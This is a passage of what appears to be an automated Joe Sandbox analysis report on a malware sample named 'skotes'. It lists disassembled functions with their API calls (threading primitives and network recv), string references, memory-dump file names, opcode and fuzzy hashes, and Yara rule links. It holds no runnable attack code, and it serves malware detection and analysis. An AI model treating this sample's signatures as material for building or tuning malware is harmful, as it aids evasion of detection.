__Mtx_unlock.LIBCPMT ref: 00032F5F
__Mtx_unlock.LIBCPMT ref: 00032FCC
__Cnd_broadcast.LIBCPMT ref: 00032FE3

Strings

L/ds, xrefs: 00032ED7, 00033203

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID: L/ds
API String ID: 32384418-185251681
Opcode ID: c4e0a133da66a32925e97c20c9b17bcff58317de11e66a75fad464bd9b2dfbf7
Instruction ID: 1e7fb5912cb655aa669cd9984b1dc0b9d1f139f27c226b096d1ef4dbd059efe4
Opcode Fuzzy Hash: c4e0a133da66a32925e97c20c9b17bcff58317de11e66a75fad464bd9b2dfbf7
Instruction Fuzzy Hash: DE4101B0A01205AFEB65DF64C944B9AB7F8FF15320F008539E81AD7781EB75EA04CB81

Function 00033AC0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

__Mtx_destroy_in_situ.LIBCPMT ref: 00033B93
__Cnd_destroy_in_situ.LIBCPMT ref: 00033B99
__Mtx_destroy_in_situ.LIBCPMT ref: 00033BA2

Strings

L/ds, xrefs: 00033AD5

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_destroy_in_situ$Cnd_destroy_in_situ
String ID: L/ds
API String ID: 3308344742-185251681
Opcode ID: 9e55b7c156a2d380e256c1af97c7fa07b29c395197adfccb1b6eeda218efaa74
Instruction ID: 5573b539ae37cb4d925306983328633e876384588c38be55947e1d2d76b8a2cb
Opcode Fuzzy Hash: 9e55b7c156a2d380e256c1af97c7fa07b29c395197adfccb1b6eeda218efaa74
Instruction Fuzzy Hash: AC318171601A008FDB259F28C8C5B66F7E9EF45720F19866DE95ACB791D738ED00CB90

Function 0003E0C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000004,00000000), ref: 0003E10B
recv.WS2_32(?,?,00000008,00000000), ref: 0003E140

Strings

L/ds, xrefs: 0003E0D4

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: recv
String ID: L/ds
API String ID: 1507349165-185251681
Opcode ID: e0a8ba3eb49df12a0ebc25e235a82dae7cb1e9ac870967b721db492b73afbc2a
Instruction ID: ba676b46d19242328f1d7ee88c3752613aeb1954bec0e4a3ff3c55b00ca29358
Opcode Fuzzy Hash: e0a8ba3eb49df12a0ebc25e235a82dae7cb1e9ac870967b721db492b73afbc2a
Instruction Fuzzy Hash: 6731D871A002889BE751CB68DC85FEB77FCFB09724F014626F514E73D2D679A8488BA0

Function 0006182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 000618A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 000618EB

Strings

pContext, xrefs: 0006189C

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: ba26b5fdad9ef309d4ce13e7f61b9ad27c776ac96d9ce7afec5390f5a49cce81
Instruction ID: 692a07208afb1b8124f60144e069be508e3cea7c3e919537c71289d6b91dde29
Opcode Fuzzy Hash: ba26b5fdad9ef309d4ce13e7f61b9ad27c776ac96d9ce7afec5390f5a49cce81
Instruction Fuzzy Hash: 1321D835B006159FCB54AB68D895AFD73E7BF94334B08052AE511872D2CFB8EC46CB91

Function 0005AE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 0005AEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0005AF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 0005AF4E

Strings

pExecutionResource, xrefs: 0005AF07

Memory Dump Source

Source File: 00000006.00000002.2966373897.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000006.00000002.2966202271.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2966373897.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967145647.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967354958.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967508174.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967715652.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2967871635.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968573274.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968749850.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2968913933.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970057722.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970211495.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970696747.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2970935233.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971093443.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971254543.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971409393.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971565517.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971704252.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2971876959.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972135119.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972628534.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2972906076.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973176679.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973385828.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973655987.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974951459.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975568741.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976085222.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977097102.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977453674.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977805957.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978007406.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978240155.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978438928.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978751391.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978979420.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979169914.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979767932.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980044507.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980298474.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980803761.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981443956.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981866701.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982091447.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982309611.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2982484598.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 1a2fd44755410a079f221c1cc1783cc17c19be0e8f10755cea81704f5e16fbb2
